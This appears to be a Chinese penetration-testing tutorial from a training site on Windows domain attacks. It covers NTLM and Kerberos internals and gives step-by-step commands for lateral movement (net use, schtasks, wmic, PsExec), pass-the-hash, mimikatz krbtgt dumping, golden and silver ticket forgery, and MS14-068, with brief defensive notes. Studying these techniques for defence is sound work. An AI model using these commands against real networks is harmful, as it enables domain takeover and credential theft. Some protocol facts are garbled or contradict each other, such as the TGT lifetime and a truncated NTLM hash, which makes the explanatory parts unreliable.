01.08 純乾貨分享丨內網滲透很難學嗎?

最近我們針對滲透測試線下就業班的課程進行了深度調研,從問卷結果發現很多學員反饋關於內網滲透的課程不容易掌握。

純乾貨分享丨內網滲透很難學嗎?

今天,i 春秋針對內網域滲透知識進行了總結,希望對大家學習滲透測試課程有所幫助。


一、NTLM協議
在工作組中,密碼hash保存在本地的SAM文件中

(%SystemRoot%\\system32\\config\\sam),在域裡保存在ntds.dit文件中,hash的格式為:用戶名稱:SID:LM-Hash值:NT-Hash值

<code>Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::/<code>

500冒號後面的是LM hash,bd0647d9197a9db0b041eb是ntml hash。


0x1.1 LM Hash

LM Hash的全稱是LAN Manager Hash,如果明文是dbnames,先要全部轉換成大寫,然後將大寫字符串轉換成16進制,如果明文大寫轉換的二進制不足14個字節,需要用0在後面添加到14個字節

<code>44424e414d455300000000000000  dbnames的16進製為44424e414d4553/<code>

由於44424e414d4553轉換二進制為8字節,所以這兩個8字節數據要用魔術字符串KGS!@#$%DES加密。

<code>4B47532140232425 為'KGS!@#$%'的16進制/<code>

將KGS!@#$%為key對這2個8字節進行des加密。


0x1.2 NTLM Hash

從Windows Vista開始,密碼默認情況是隻有存儲NTLM Hash,LM Hash不會存在,在NTLM Hash中,先將字符串進行16進制轉換,然後在轉換成unicode字符串,最後使用MD4加密算法對Unicode進行加密,所以LM Hash跟NTLM相比,LM明文大小寫不敏感,可以判斷明文是否小於8位,不使用'KGS!@#$%'作為key進行des加密,而NTML採用單向加密方式(MD4)。


0x1.3 NTLM認證協議

NTLM協議認證分為三部分:協商、質詢、身份驗證驗證。

純乾貨分享丨內網滲透很難學嗎?

NTLM協議認證過程:

1、用戶輸入賬號密碼,客戶端中包含明文用用戶名向服務端發起請求

2、服務端接收到客戶端的請求,會生成一個challenge 16位隨機數,使用存儲的NTLM Hash加密challenge,生成challenge1,然後將challenge的16位明文隨機數發送給客戶端

3、客戶端接收到challenge後,使用用戶登錄的密碼hash加密challenge生成response(challenge2),將這個response發送給客戶端

4、服務端接收到response,對challenge1和challenge2進行比較,相同的話就驗證成功


0x1.4 NTLM v1與NTLM v2

challenge:NTLM v1是8的隨機數;NTLM v2是16位的隨機數。

Net-NTLM Hash:

1、NTLM v1採用的是DES加密,在16字節後面填充5個0,組成21字節,然後分成3組7個字節的,並在每7個字節後面填充1個0,成為3個8字節的DES密鑰,加密上訴步驟2(server)發來的challenge,組成24字節的密文。

2、NTLM v2採用的HMAC-MD5加密

二、Kerberos協議

Kerberos是一種網絡認證協議,主要在windows域中,其設計目標是通過密鑰系統為客戶機 / 服務器應用程序提供強大的認證服務。在Kerbeos協議中主要有三個角色:

①Client

②Server

③KDC,在KDC中又有兩個部分組成:

<code>AS:作用是驗證Client是不是本人
TGS:為Client生成訪問某個服務的ST票據(TGS Ticket)/<code>


認證過程:

純乾貨分享丨內網滲透很難學嗎?


1、客戶端向KDC(AS)發起一個認證請求(KRB_AS_REQ),在請求的過程中,是通過用戶的密碼hash加密的時間戳,然後發送給AS服務器,AS服務器接收到後,採用服務器那邊的密碼hash進行解密這個時間戳,解密成功後,並且時間戳在一定時間範圍,說明認證成功。

2、AS對比用戶是否在本地數據庫中,使用客戶端的hash進行解密,正確就返回krbtgt的密碼hash加密的TGT票據(到期時間一般為8小時),用戶是無法解密這個TGT票據的,但是有了krbtgt的hash,就可以偽造'黃金票據'。還要返回一個由客戶端用戶ntml hash加密的Session Key(sessionkey1),Session Key是KDC接收請求後的隨機生成的字符(KRB_AS_REP)。


3、客戶端用自己的密碼hash解密Session Key,TGT是KDC加密的,Client無法解密,Client拿著解密出來的SessionKey去加密時間戳和TGT發送給TGS換取訪問Server的票據(KRB_TGS_REQ)。


4、TGS收到Client的請求後,會驗證是否存在客戶端要訪問的這個服務,存在的話KDC使用krbtgt的密碼hash對TGT進行解密,然後會查看TGT中的時間戳,看是否TGT失效,如果解密成功的TGT沒有失效,向客戶端發送通過sessionkey1加密的Session_key和ticket票據,在TGSREP中,用的是服務的hash加密ticket的,所有我們擁有這個服務的hash就可以製作一個ticket(即白銀票據)(KRB_TGS_REP)。


5、客戶端拿著自己sessionkey1解密的Session_Key(sessionkey2),然後把sessionkey2加密的時間戳和ticket發送個Server去訪問服務,認證通過就可以訪問(KRB_AP_REQ)。


6、服務使用自己的hash去解密ticket票據,得到sessionkey2,在用sessionkey2去解密時間戳,解密成功,就用PAC去KDC問客戶端是否有訪問的權限,域控解密PAC,用於讓客戶端識別是否訪問正確的服務端(KRB_AP_REP)。

三、內網橫向移動的常用方法


0x1.1 ipc連接

<code>net use \\\\192.168.1.232\\C$ admin123456 /user:fanxing.com\\fanxing/<code>

複製文件到主機上

<code>copy 1.bat \\\\192.168.1.232\\c$\\tools/<code>

獲取服務器的時間

<code>net time \\\\192.168.1.232/<code>

創建計劃任務,20:05執行1.bat文件,cobaltstrike上線成功。

<code>at \\\\192.168.1.232 20:05 c:\\tools\\1.bat/<code>
純乾貨分享丨內網滲透很難學嗎?

下面是ipc連接當中常見的錯誤號:

<code>錯誤號5:拒絕訪問--->使用的權限太低,需要提權
錯誤號51:Windows無法找到網絡路徑,網絡有問題
錯誤號53:找不到網絡路徑,ip地址錯誤、目標未開機、目標lanmanserver服務未開啟、目標有防火牆(端口過濾)
錯誤號67:找不到網絡名->你的lanmanworkstation服務未啟動或者目標刪除了ipc$
錯誤號1219:提供的憑據與已存在的憑據集衝突->你已經和對方建立了一個ipc,請刪除在連接
錯誤號1326:未知的用戶名或錯誤密碼
錯誤號1792:試圖登錄,但是網絡登錄服務沒啟動->目標BetLogon服務未啟動
錯誤號2242:此用戶的密碼已經過期->目標有賬號策略,強制定期要求更改密碼/<code>


0x1.2 schtasks創建計劃任務

設置每天晚上8:40執行1.bat文件

<code>schtasks /create /s 192.168.1.232 /u fanxing.com\\fanxing /p [email protected] /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40/tr c:\\tools\\1.bat /F/<code>


純乾貨分享丨內網滲透很難學嗎?

0x1.3 WMI

wmi服務需要開啟135端口,這個是默認開啟的。

<code>wmic /node:192.168.1.232 /user:fanxing.com\\fanxing /password:[email protected] process call create "cmd /c 1.exe"/<code>


純乾貨分享丨內網滲透很難學嗎?


使用wmic沒有任何回顯,可以wmicexec.vbs解決無回顯的問題,或者獲取一個半交互式shell。

<code>cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.com\\fanxing [email protected] whoami/<code>


純乾貨分享丨內網滲透很難學嗎?


0x1.4 pstools

pstools中有13個小工具,這裡主要利用p**ec進行遠程執行命令,唯一的缺點就是會開啟一個服務,容易被管理員發現。

在ipc建立連接的時候,可以直接使用p**ec:

<code>p**ec.exe \\\\192.168.1.232 -h cmd /c "whoami"/<code>
純乾貨分享丨內網滲透很難學嗎?

當ipc沒有連接時:

<code>P**ec.exe \\\\192.168.1.232 -u fanxing.com\\fanxing -p [email protected] -h cmd /c "whoami"/<code>
純乾貨分享丨內網滲透很難學嗎?

使用metasploit執行:

<code>use auxiliary/admin/smb/p**ec_command
set rhosts 192.168.1.232
set smbuser fanxing
set smbpass [email protected]
set smbdomain fanxing.com
set command whoami/<code>
純乾貨分享丨內網滲透很難學嗎?


0x1.5 hash傳遞(PTH)

hash傳遞是通過密碼的hash訪問主機或者服務,不需要明文登錄。hash的原理,出現在上面講的NTML認證過程的challenge。利用metasploit:

<code>use exploit/windows/smb/p**ec
set rhosts 192.168.50.233
set SMBPass 32057716c8bd0647d9197a9db0b041eb
set SMBUser administrator
set SMBDomain fanxing.com/<code>


四、黃金票據

黃金票據是AS頒發給Client的TGT票據(TGT的有效時間為20分鐘),是通過域kerberos賬戶(KRBTGT)加密的。實現原理就是跳過了AS的認證過程,直接向KDC的TGS服務證明通過了AS服務。一般黃金票據都是域控的權限掉了的時候,修改了域控的密碼,而krbtgt的密碼沒有被修改,就可以重新獲取到域控權限。

滿足黃金票據的條件有:

①域的名稱

②域的SID值

③域中KRBTGT的密碼hash

④偽造的用戶名

在金票的利用過程中,可以使用mimikatz,cobaltstrike,metasploit來偽造。


0x1.1 Mimikatz

導出krbtgt的NTML Hash

<code>privilege::debug  #提權 

[/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt/<code>
純乾貨分享丨內網滲透很難學嗎?

獲取域的SID值,不要後面的-500。

<code>whoami /all/<code>
純乾貨分享丨內網滲透很難學嗎?

偽造金票

<code>kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi/<code>
純乾貨分享丨內網滲透很難學嗎?

導入Golden Ticket:

<code>kerberos::ptt c:\\\\users\\test\\gold.kirbi/<code>
純乾貨分享丨內網滲透很難學嗎?

可以使用dir訪問域控目錄,要輸入主機名,使用ip還是訪問不到。

<code>dir \\\\WIN-M34UCFJIPNQ\\c$/<code>
純乾貨分享丨內網滲透很難學嗎?

mimikatz還有另外一中方法:

<code>kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt/<code>


0x1.2 CobaltStrike

在上線之後->執行->黃金票據:

純乾貨分享丨內網滲透很難學嗎?

0x1.3 Metasploit

msf製作金票

<code>load kiwi/<code>

生成Golden Ticket

<code>golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket/<code>

將票據導入內存中

<code>kerberos_ticket_use /tmp/golden.ticket/<code>
純乾貨分享丨內網滲透很難學嗎?

dir訪問目錄成功

純乾貨分享丨內網滲透很難學嗎?

金票的創建,需要krbtgt的密碼ntml hash,對於防禦,只要定期的修改krbtgt的密碼,就能使金票失效。

五、白銀票據


白銀票據是TGS頒發給Client的ST票據,根據kerberos協議第5步,Server會對Clinet的ST票據利用Client的hash解密,所以這個過程不需要經過KDC,而且只能訪問Server的服務一次。

滿足一下條件,即可以偽造銀票:

①域的名稱

②域的SID值

③域服務的NTML Hash

④要偽造的用戶名

⑤目標服務器的kerberos服務

常用的服務名有:

純乾貨分享丨內網滲透很難學嗎?

偽造銀票

<code>kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt/<code>
純乾貨分享丨內網滲透很難學嗎?

對於銀票的防禦措施可以開啟PAC,PAC只能KDC製作和查看,在註冊表中添加一個ValidateKdcPacSignature為1。

<code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Kerberos\\Parameters/<code>
純乾貨分享丨內網滲透很難學嗎?

六、MS14-068


Client向AS申請一張不包含PAC的TGT票據,會偽造一個PAC,在TGS_REP中,對偽造的PAC驗證成功後,會返回一個新的TGT票據。

通過MS14-068exp利用:

<code>MS14-068.exe -u 當前域用戶@域名稱 -p 當前域用戶密碼 -s sid值 -d 域控ip/<code>

sid值通過whoami /all獲取

純乾貨分享丨內網滲透很難學嗎?

然後會在目錄下生成一個證書,利用mimikatz。

<code>kerberos::ptc C:\\wwwroot\\[email protected]/<code>

就可以使用dir訪問到域控的目錄。

純乾貨分享丨內網滲透很難學嗎?

對於ms14-068的防禦可以打補丁KB3011780和使用winserver2012。

以上是今天的內容,大家看懂了嗎?當然內網域滲透知識還有很多沒有整理完,更多的內容分享希望大家及時關注i春秋。


分享到:


相關文章: